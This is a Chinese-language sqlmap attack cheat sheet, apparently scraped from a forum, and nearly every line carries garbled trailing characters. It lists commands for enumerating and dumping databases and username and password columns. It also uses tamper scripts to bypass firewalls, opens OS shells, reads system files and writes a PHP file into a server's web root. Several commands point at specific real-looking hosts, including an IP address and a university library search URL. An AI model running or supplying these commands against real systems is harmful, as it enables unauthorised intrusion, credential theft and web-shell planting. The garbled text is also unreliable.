/pentest/database/sqlmap
$ y$ o: k" k5 ?1 W
0 P5 P8 p2 E+ e7 jupdate :::::> in the folder after execute following order : svn update6 Q0 f& o/ `7 j* Z% P
0 P" u1 j- g* m, rsqlmap.py -r 1.txt --current-db! f+ J x" i* }' H
. x/ c$ W8 z/ }5 {v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
! W9 ^( O) g0 @7 e9 I: T9 S8 `" p Y( |% e
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
# h F: A6 I3 C; D2 ]! Q0 W4 s猜解数据库
) b3 |/ d3 D' Y1 \, ^./sqlmap.py -u "injection-url" --dbs9 z( ?/ Z8 U% G/ w6 r5 y
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"$ S& s: u& f. z$ x4 C7 a' }
) |7 p# S& k6 ~1 P+ c2 ?7 I+ k
猜解表名5 x. S A/ o9 I8 ?
./sqlmap.py -u "injection-url" -D database_name --tables
5 g6 r G( u" m1 F$ x! `% N$ n1 V# g" U K8 _
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
$ _4 ?% e+ i7 f4 Qsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
( x. B1 }3 Z$ a, n: e" N. L6 r( i( K9 L) Z. {1 A1 U' a
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
/ `7 k9 M7 ~0 y- U4 ]- a$ E! t0 z' i, W
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"9 \& s+ C$ q' E# E% n; v- S) K" W7 b5 t
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"" J# u' j# Q3 R' O) i8 P0 Q( _0 k; K
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
& k6 I4 g) V; wsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"0 D: g' ?) M: Y
* \( F, H" P0 ]7 l3 n2 x
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
' p, Y& {0 e" c& p8 v$ ]sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
* ~4 E) N# q! y& E, K: lsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"2 K; d- W3 T& l
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"5 i( p j: O1 e; F
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump3 [5 v' }/ H( }, x
8 K: x- N+ K: H! p+ C
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
) z5 g/ ~2 J) X c* ~6 Xsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py": g5 n# k- a8 o P' Q" H; I
- t! t# j; T9 a! t$ }: s
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst", I0 h! o# s, l4 S0 `
猜解列名6 U( }$ g7 p {9 n
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns" [3 A+ D2 |) n0 P
8 y- T$ y; I) y2 L! F# B9 z* P" Usqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
' H; u6 D0 ]9 c6 |sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
9 A- A: s, t- _2 U- fsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
- M6 k8 B# ^8 G8 k! O0 c! ?: Q$ E S- s6 f: f% L, h1 q
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
& S" e X* s5 Y5 E" ]0 w" t&submit=Go' N+ L, H) v+ V7 s% m
猜解值
; n1 H* s1 M6 v' g./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump3 ~: k& h1 J# h: E
========================================================
, g5 k. ?* w+ K* k+ t搜索表名中包括mana字符的
0 [1 y9 G, d4 F$ N/sqlmap.py -u "injection-url" -T mana --search8 ]+ V, O$ y6 w8 g0 w
返回一个交互式sql shell+ u+ d: o; N5 Q1 t8 H
/sqlmap.py -u "injection-url" --sql-shell! S/ }! \- ~1 J- x
读取指定文件(需权限)
4 b* B$ a- ]5 r! D# Q# O/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
: I4 t0 f/ i" H查看当前 用户 及 数据库 $ { I, S b; @' p
/sqlmap.py -u "injection-url" --current-user --current-db
' z' e2 l7 N6 K- j; o% r( ^/ v( H" H本地文件 写入 远程目标绝对路径
3 \+ I4 F4 m% G& {: ?/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
! W4 `- A6 p/ x# H* S, Ysqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" $ C, Z1 F5 T$ G# y( p
# S1 `+ ~2 d L# E* [
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径# B# Y: f+ ]; r% ~- A3 f% }
查看某用的权限
( Q' `, J5 \/ B, {* l9 R0 z% `( x$ h/sqlmap.py -u "injection-url" --privileges -U root
' c+ ^! A" R3 c x1 A) t# @查看当前用户是否为dba; l$ T* D8 q" R; V, X. J
/sqlmap.py -u "injection-url" --is-dba5 c, ^( k2 c. a. e6 C* i& c# s& I! t
读取所有数据库用户或指定数据库用户的密码
. {- k/ S9 E4 G" T* h/ ?2 `sqlmap.py -r 1.txt --users --passwords
# X- E m4 ? L2 Y2 Q% xsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" , M& ?+ {2 l: O9 W; e
* [7 h$ c0 A( L# D5 g5 L2 z; j: n6 S/sqlmap.py -u "injection-url" --passwords -U root
6 \4 W' h; f! P/ G R- }$ O/ i* ^. \7 K
--start&&--stop 与 --first&&--last 的区别8 K& o5 g+ O2 \0 V n
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)6 Z2 |) C6 f+ O+ }
/ c! y& l Y% p, J从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
: g. a' \# y4 j- D/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
- d: W% g4 h3 f# v4 i/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns: N9 w F: Q* h$ Q
5 Y z/ ` v' Z. d执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)6 b5 v& E4 N- w" a) Y
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"6 a2 b% o8 R8 h
3 A$ r$ o& p) h |